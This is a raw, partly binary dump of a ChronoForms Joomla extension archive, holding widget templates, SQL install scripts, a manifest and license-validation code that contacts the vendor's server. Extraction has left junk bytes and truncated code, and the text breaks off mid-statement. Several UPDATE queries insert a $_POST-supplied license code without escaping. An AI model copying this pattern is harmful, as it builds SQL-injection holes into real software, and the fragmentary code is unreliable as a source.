C@:rJ7{{[QqWv, |)\Fcomponents/com_chronoforms/form_widgets/multi_upload/images/index.htmlnuW+APK@y>\h  Lcomponents/com_chronoforms/form_widgets/multi_upload/output_multi_upload.ctpnuW+AaddScript($uri->root().'administrator/components/com_chronoforms/form_widgets/multi_upload/multi_upload.js'); $clean_fldname = str_replace('[]', '', $params['input_name']); ?>
      files[$clean_fldname])){ $fields_data_list = $form->files[$clean_fldname]; $file_name_key = 'name'; $file_orig_name_key = 'original_name'; $file_id_key = 'file_id'; }else{ if(!empty($params['data_path']) && !is_null($form->get_array_value($form->data, explode('.', trim($params['data_path']))))){ $fields_data_list = $form->get_array_value($form->data, explode('.', trim($params['data_path']))); $file_name_key = !empty($params['data_path_name']) ? $params['data_path_name'] : ''; $file_orig_name_key = !empty($params['data_path_original_name']) ? $params['data_path_original_name'] : ''; $file_id_key = !empty($params['data_path_id']) ? $params['data_path_id'] : ''; } } //print_r2($form->data); foreach($fields_data_list as $k => $field_data): ?>
      PK@y>\<Dcomponents/com_chronoforms/form_widgets/multi_upload/multi_upload.jsnuW+Avar MultiUpload = new Class({}); MultiUpload.addAttachment = function(source, name, limit, path){ if(parseInt(source.getParent().getFirst('.multi-upload-limit').get('value')) < limit){ var file = new Element('div', {'style':'float:left; clear:left;', 'html':' '}); file.inject(source.getParent().getPrevious('.multi-upload-attachments-wrapper')); source.getParent().getFirst('.multi-upload-limit').set('value', parseInt(source.getParent().getFirst('.multi-upload-limit').get('value')) + 1); } } MultiUpload.removeAttachment = function(source){ source.getParent().destroy(); } MultiUpload.fixLimit = function(source, ID){ if(source.checked == true){ $(ID).set('value', parseInt($(ID).get('value')) + 1); }else{ $(ID).set('value', parseInt($(ID).get('value')) - 1); } }PK@y>\Multi Upload
      input('chronofield[{n}][input_multi_upload_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_multi_upload_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_multi_upload_{n}_limit]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_limit', 'value' => $element_params['limit'])); ?> input('chronofield[{n}][input_multi_upload_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_multi_upload_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_multi_upload_{n}_data_path]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_data_path', 'value' => $element_params['data_path'])); ?> input('chronofield[{n}][input_multi_upload_{n}_data_path_name]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_data_path_name', 'value' => $element_params['data_path_name'])); ?> input('chronofield[{n}][input_multi_upload_{n}_data_path_original_name]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_data_path_original_name', 'value' => $element_params['data_path_original_name'])); ?> input('chronofield[{n}][input_multi_upload_{n}_data_path_id]', array('type' => 'hidden', 'id' => 'input_multi_upload_{n}_data_path_id', 'value' => $element_params['data_path_id'])); ?>
      Header(array('general' => 'General', 'republish' => 'Data Republish', 'other' => 'Other', 'validation' => 'Validation'), 'input_multi_upload_element_config_{n}'); ?> tabStart('general'); ?> input('input_multi_upload_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_multi_upload_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => "Don't forget to add 2 square brackets [] after the field name to post array of files, e.g: attachments[]")); ?> input('input_multi_upload_{n}_limit_config', array('type' => 'text', 'label' => 'Limit', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('republish'); ?> input('input_multi_upload_{n}_data_path_config', array('type' => 'text', 'label' => "Files Data Path", 'class' => 'medium_input', 'smalldesc' => 'The data array key under which the files data will be available in the form->data array.')); ?> input('input_multi_upload_{n}_data_path_name_config', array('type' => 'text', 'label' => "File Name", 'smalldesc' => 'The array key under which the file name is stored, leave empty if the names are under the data path directly.')); ?> input('input_multi_upload_{n}_data_path_original_name_config', array('type' => 'text', 'label' => "File Original Name", 'smalldesc' => 'The array key under which the file original name is stored.')); ?> input('input_multi_upload_{n}_data_path_id_config', array('type' => 'text', 'label' => "File ID", 'smalldesc' => 'The array key under which the file id is stored.')); ?> input('input_multi_upload_{n}_target_path_config', array('type' => 'text', 'label' => "Target Data Path", 'smalldesc' => 'The data array key under which the files data will be stored after submission.')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_multi_upload_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_multi_upload_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_multi_upload_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_multi_upload_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_multi_upload_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PK@y>\2components/com_chronoforms/form_widgets/index.htmlnuW+APK@y>\)components/com_chronoforms/sql/index.htmlnuW+APK@y>\)(components/com_chronoforms/sql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\_~6components/com_chronoforms/sql/install.chronoforms.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__chronoforms` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `form_type` tinyint(1) NOT NULL, `content` longtext NOT NULL, `wizardcode` longtext, `events_actions_map` longtext, `params` longtext NOT NULL, `published` tinyint(1) NOT NULL DEFAULT '1', `app` varchar(100) NOT NULL DEFAULT '', PRIMARY KEY (`id`) ) CHARACTER SET `utf8`; CREATE TABLE IF NOT EXISTS `#__chronoform_actions` ( `id` int(11) NOT NULL AUTO_INCREMENT, `chronoform_id` int(11) NOT NULL, `type` varchar(255) NOT NULL, `enabled` tinyint(1) NOT NULL, `params` longtext NOT NULL, `order` int(11) NOT NULL, `content1` longtext NOT NULL, PRIMARY KEY (`id`) ) CHARACTER SET `utf8`;PK@y>\`TT8components/com_chronoforms/sql/uninstall.chronoforms.sqlnuW+ADROP TABLE IF EXISTS `#__chronoforms`; DROP TABLE IF EXISTS `#__chronoform_actions`;PK@y>\FiEE2components/com_chronoforms/toolbar.chronoforms.phpnuW+APK@y>\s *components/com_chronoforms/chronoforms.xmlnuW+A ChronoForms 25.April.2013 Chronoman ChronoEngine.com 2013 webmaster@chronoengine.com www.chronoengine.com 4.0 GPL Create everytype of Forms with whatever features you like!! install.chronoforms.php uninstall.chronoforms.php chronoforms.php chronoforms.html.php chrono_verification.php default.ttf background.png index.html css uploads libraries js views sql/install.chronoforms.sql sql/uninstall.chronoforms.sql COM_CHRONOFORMS COM_CHRONOFORMS_FORMS_MANAGER COM_CHRONOFORMS_WIZARD COM_CHRONOFORMS_EASY_WIZARD COM_CHRONOFORMS_VALIDATE admin.chronoforms.php admin.chronoforms.html.php chronoforms.class.php controller.php toolbar.chronoforms.php toolbar.chronoforms.html.php install.chronoforms.sql uninstall.chronoforms.sql CF.png config.xml index.html css js sql tables views versions images helpers form_actions form_elements form_widgets language/en-GB.com_chronoforms.sys.ini language/en-GB.com_chronoforms.menu.ini language/en-GB.com_chronoforms.ini PK@y>\C&**>components/com_chronoforms/versions/j1.6/admin.chronoforms.phpnuW+AsetQuery("SELECT * FROM #__extensions WHERE `element` = 'com_chronoforms' AND `type` = 'component'"); $result = $database->loadObject(); if(!empty($result)){ $params = new JParameter($result->params); return (bool)$params->get('licensevalid', 0); }else{ return false; } } public static function validatelicense(){ if(isset($_POST['instantcode'])){ ChronoFormsAdminVersion::validatelicensedata(); }else{ $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $params = new JParameter($result->params); HTML_Admin_ChronoForms::validatelicense($params); } } public static function validatelicensedata(){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); preg_match('/http(s)*:\/\/(.*?)\//i', $uri->root(), $matches); $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); //$configs = JComponentHelper::getParams('com_chronoforms'); $configs = new JParameter($result->params); $postfields = array(); if(isset($_POST['licensecode']) && !empty($_POST['licensecode'])){ $configs->set('licensecode', $_POST['licensecode']); } $postfields['license_key'] = $configs->get('licensecode', ''); $postfields['domain_name'] = $matches[2]; $postfields['pid'] = $_POST['pid']; $validstatus = false; if(empty($postfields['license_key'])){ $mainframe->redirect("index.php?option=com_chronoforms&task=validatelicense", 'You didn\'t enter your validation key.'); } if(trim(JRequest::getVar('instantcode')) && $configs->get('licensecode', '')){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ //$mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } } if(function_exists('fsockopen')){ $validstatus = ChronoFormsAdmin::validationconnect('http', 'www.chronoengine.com', $port='80', $path='/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense', $postfields); } if((!$validstatus)||($validstatus == 'error')||!function_exists('fsockopen')){ if (!function_exists('curl_init')){ $validstatus = false; }else{ $fields = ''; $ch = curl_init(); //$postfields = array(); foreach( $postfields as $key => $value ) $fields .= "$key=" . urlencode( $value ) . "&"; curl_setopt($ch, CURLOPT_URL, 'http://www.chronoengine.com/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, "& " )); if($configs->get('curlproxy', '')){ curl_setopt($ch, CURLOPT_PROXY, $configs->get('curlproxy')); } $output = curl_exec($ch); curl_close($ch); $validstatus = $output; } } //return $validstatus; if($validstatus == 'valid'){ if($configs->get('licensecode', '')){ //if(!$configs->get('licensevalid', '')){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } //} } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your Install was validated successfully' ); }else if($validstatus == 'invalid'){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because of some wrong data used' ); }else{ if(trim(JRequest::getVar('instantcode'))){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ $mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } }else{ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery("UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because your hosting server doesn\'t have neither the CURL library nor the fsockopen functions or they may exist but don\'t function properly, please contact your host admin to fix them or contact us here Or at this email address : webmaster@chronoengine.com' ); } } } } ?>PK@y>\3components/com_chronoforms/versions/j1.6/index.htmlnuW+APK@y>\3components/com_chronoforms/versions/j2.5/index.htmlnuW+APK@y>\C&**>components/com_chronoforms/versions/j2.5/admin.chronoforms.phpnuW+AsetQuery("SELECT * FROM #__extensions WHERE `element` = 'com_chronoforms' AND `type` = 'component'"); $result = $database->loadObject(); if(!empty($result)){ $params = new JParameter($result->params); return (bool)$params->get('licensevalid', 0); }else{ return false; } } public static function validatelicense(){ if(isset($_POST['instantcode'])){ ChronoFormsAdminVersion::validatelicensedata(); }else{ $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $params = new JParameter($result->params); HTML_Admin_ChronoForms::validatelicense($params); } } public static function validatelicensedata(){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); preg_match('/http(s)*:\/\/(.*?)\//i', $uri->root(), $matches); $database = JFactory::getDBO(); $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); //$configs = JComponentHelper::getParams('com_chronoforms'); $configs = new JParameter($result->params); $postfields = array(); if(isset($_POST['licensecode']) && !empty($_POST['licensecode'])){ $configs->set('licensecode', $_POST['licensecode']); } $postfields['license_key'] = $configs->get('licensecode', ''); $postfields['domain_name'] = $matches[2]; $postfields['pid'] = $_POST['pid']; $validstatus = false; if(empty($postfields['license_key'])){ $mainframe->redirect("index.php?option=com_chronoforms&task=validatelicense", 'You didn\'t enter your validation key.'); } if(trim(JRequest::getVar('instantcode')) && $configs->get('licensecode', '')){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ //$mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } } if(function_exists('fsockopen')){ $validstatus = ChronoFormsAdmin::validationconnect('http', 'www.chronoengine.com', $port='80', $path='/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense', $postfields); } if((!$validstatus)||($validstatus == 'error')||!function_exists('fsockopen')){ if (!function_exists('curl_init')){ $validstatus = false; }else{ $fields = ''; $ch = curl_init(); //$postfields = array(); foreach( $postfields as $key => $value ) $fields .= "$key=" . urlencode( $value ) . "&"; curl_setopt($ch, CURLOPT_URL, 'http://www.chronoengine.com/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, "& " )); if($configs->get('curlproxy', '')){ curl_setopt($ch, CURLOPT_PROXY, $configs->get('curlproxy')); } $output = curl_exec($ch); curl_close($ch); $validstatus = $output; } } //return $validstatus; if($validstatus == 'valid'){ if($configs->get('licensecode', '')){ //if(!$configs->get('licensevalid', '')){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } //} } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your Install was validated successfully' ); }else if($validstatus == 'invalid'){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because of some wrong data used' ); }else{ if(trim(JRequest::getVar('instantcode'))){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 1); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery( "UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ $mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } }else{ $query = "SELECT * FROM `#__extensions` WHERE `element` = 'com_chronoforms' AND `type` = 'component'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ //$newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=0'; $newparams = new JParameter($result->params); $newparams->set('licensevalid', 0); $newparams->set('licensecode', $configs->get('licensecode', '')); $newparams = $newparams->toString(); $database->setQuery("UPDATE `#__extensions` SET params='".$newparams."' WHERE extension_id='".$result->extension_id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'We couldn\'t validate your key because your hosting server doesn\'t have neither the CURL library nor the fsockopen functions or they may exist but don\'t function properly, please contact your host admin to fix them or contact us here Or at this email address : webmaster@chronoengine.com' ); } } } } ?>PK@y>\)-components/com_chronoforms/versions/.htaccessnuW+A Order allow,deny Deny from all PK@y>\3components/com_chronoforms/versions/j1.5/index.htmlnuW+APK@y>\5y-'-'>components/com_chronoforms/versions/j1.5/admin.chronoforms.phpnuW+AsetQuery("SELECT * FROM #__components WHERE `parent`='0' AND `option`='com_chronoforms' AND `admin_menu_link`='option=com_chronoforms'"); $result = $database->loadObject(); if(!empty($result)){ $params = new JParameter($result->params); return (bool)$params->get('licensevalid', 0); }else{ return false; } } function validatelicense(){ if(isset($_POST['instantcode'])){ ChronoFormsAdminVersion::validatelicensedata(); }else{ $database = JFactory::getDBO(); $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $params = new JParameter($result->params); HTML_Admin_ChronoForms::validatelicense($params); } } function validatelicensedata(){ global $mainframe; preg_match('/http(s)*:\/\/(.*?)\//i', $mainframe->getSiteURL(), $matches); $database = JFactory::getDBO(); $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); //$configs = JComponentHelper::getParams('com_chronoforms'); $configs = new JParameter($result->params); $postfields = array(); if(isset($_POST['licensecode']) && !empty($_POST['licensecode'])){ $configs->set('licensecode', $_POST['licensecode']); } $postfields['license_key'] = $configs->get('licensecode', ''); $postfields['domain_name'] = $matches[2]; $postfields['pid'] = $_POST['pid']; $validstatus = false; if(empty($postfields['license_key'])){ $mainframe->redirect("index.php?option=com_chronoforms&task=validatelicense", 'You didn\'t enter your validation key.'); } if(trim(JRequest::getVar('instantcode')) && $configs->get('licensecode', '')){ $step1 = base64_decode(trim(JRequest::getVar('instantcode'))); $step2 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), 0, 7), '', $step1); $step3 = str_replace(substr(md5(str_replace('www.', '', strtolower($matches[2]))), - strlen(md5(str_replace('www.', '', strtolower($matches[2])))) + 7), '', $step2); $step4 = str_replace(substr($configs->get('licensecode', ''), 0, 10), '', $step3); $step5 = str_replace(substr($configs->get('licensecode', ''), - strlen($configs->get('licensecode', '')) + 10), '', $step4); //echo (int)$step5;return; //if((((int)$step5 + (24 * 60 * 60)) > strtotime(date('d-m-Y H:i:s')))||(((int)$step5 - (24 * 60 * 60)) < strtotime(date('d-m-Y H:i:s')))){ if(((int)$step5 < (strtotime("now") + (24 * 60 * 60)))&&((int)$step5 > (strtotime("now") - (24 * 60 * 60)))){ $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ $newparams = 'showtipoftheday='.$configs->get('showtipoftheday', 1).$newline.'licensecode='.$configs->get('licensecode', '').$newline.'licensevalid=1'; $database->setQuery( "UPDATE `#__components` SET params='".$newparams."' WHERE id='".$result->id."'"); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect( "index.php?option=com_chronoforms" ); } } $mainframe->redirect( "index.php?option=com_chronoforms", 'Your key was validated successfully' ); }else{ //$mainframe->redirect( "index.php?option=com_chronoforms", 'Invalid instant code' ); } } if(function_exists('fsockopen')){ $validstatus = ChronoFormsAdmin::validationconnect('http', 'www.chronoengine.com', $port='80', $path='/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense', $postfields); } if((!$validstatus)||($validstatus == 'error')||!function_exists('fsockopen')){ if (!function_exists('curl_init')){ $validstatus = false; }else{ $fields = ''; $ch = curl_init(); //$postfields = array(); foreach( $postfields as $key => $value ) $fields .= "$key=" . urlencode( $value ) . "&"; curl_setopt($ch, CURLOPT_URL, 'http://www.chronoengine.com/index.php?option=com_chronocontact&task=extra&chronoformname=validateLicense'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, "& " )); if($configs->get('curlproxy', '')){ curl_setopt($ch, CURLOPT_PROXY, $configs->get('curlproxy')); } $output = curl_exec($ch); curl_close($ch); $validstatus = $output; } } //return $validstatus; if($validstatus == 'valid'){ if($configs->get('licensecode', '')){ //if(!$configs->get('licensevalid', '')){ $query = "SELECT * FROM `#__components` WHERE `option` = 'com_chronoforms' AND parent='0' AND admin_menu_link='option=com_chronoforms'"; $database->setQuery( $query ); $result = $database->loadObject(); $newline = "\n"; if($result){ $newparams = 